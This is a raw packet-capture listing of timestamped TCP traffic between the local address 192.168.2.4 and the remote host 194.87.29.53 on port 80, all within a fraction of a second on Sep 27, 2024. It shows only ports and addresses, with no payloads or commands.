Sep 27, 2024 18:29:07.021363974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021394968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021589041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021600008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021609068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021619081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021631956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021641970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021642923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021652937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021661997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021666050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021672010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021687984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021688938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021699905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021714926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021734953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021744967 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021938086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021953106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021962881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021971941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021981001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.021986961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.021991014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022001028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022008896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022011995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022022009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022032022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022037983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022041082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022062063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022088051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022283077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022298098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022308111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022316933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022325993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022336006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022336006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022355080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022386074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022559881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022608042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022659063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022669077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022676945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022687912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022696018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022706032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022711992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022716045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022730112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022758007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022798061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022808075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022818089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022826910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022835970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022844076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022846937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022855043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022866964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022882938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022901058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.022917032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.022968054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023065090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023076057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023085117 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023094893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023103952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023114920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023114920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023124933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023128033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023135900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023147106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023154974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023164034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023179054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023211002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023488045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023498058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023513079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023521900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023530006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023539066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023539066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023550987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023561001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023564100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023571014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023580074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023590088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023591995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023610115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023631096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023870945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023881912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023893118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023901939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023929119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023938894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.023940086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023952007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023960114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023968935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023977995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.023986101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.024008989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.024020910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.024060011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.024071932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.024111032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.106854916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.106869936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.106880903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.106925964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.106926918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.106936932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.106949091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.106952906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.106957912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.106970072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107002974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107196093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107207060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107215881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107220888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107229948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107239962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107249975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107249975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107260942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107270002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107270002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107285023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107310057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107337952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107347965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107395887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107453108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107464075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107475042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107484102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107491970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107501984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107505083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107512951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107526064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107538939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107558966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107748032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107755899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107796907 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107858896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107868910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107877016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107886076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107896090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107903957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107906103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107913971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107924938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.107939005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107950926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.107971907 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108155966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108166933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108175993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108185053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108195066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108203888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108206987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108216047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108226061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108234882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108237028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108246088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108253002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108278990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108304024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108469009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108479977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108489037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108499050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108506918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108522892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108536005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108562946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108639956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108684063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108686924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108695030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108725071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108800888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108813047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108822107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108831882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108856916 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108870983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.108952999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.108964920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109008074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109086037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109097004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109107018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109117031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109127045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109133005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109143019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109153032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109154940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109175920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109200954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109317064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109328032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109338999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109349966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109365940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109379053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109401941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109481096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109492064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109502077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109520912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109543085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109559059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109582901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109646082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109658003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109668016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109678030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109693050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109695911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109708071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109713078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109719038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109730959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109740973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109745026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109755039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109771013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109796047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.109929085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.109977961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110085011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110096931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110106945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110116959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110127926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110137939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110140085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110148907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110160112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110166073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110172987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110183954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110184908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110196114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110207081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110234022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110424042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110435009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110445976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110475063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110486984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110590935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110600948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110610962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110621929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110639095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110645056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110651970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110656977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110665083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110676050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110682964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110686064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110697031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110706091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110707045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110717058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110726118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110735893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110738993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110750914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110755920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110761881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110774040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.110785007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110806942 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.110816956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.111119032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.111130953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.111140966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.111150980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.111160994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.111171007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.111172915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.111182928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.111198902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.111212015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.111237049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195159912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195179939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195189953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195200920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195205927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195215940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195226908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195226908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195249081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195285082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195312023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195328951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195334911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195343971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195349932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195374012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195390940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195583105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195594072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195604086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195616007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195625067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195626974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195636034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.195636988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.195647955 CEST	80	60865	194.87.29.53	192.168.2.4
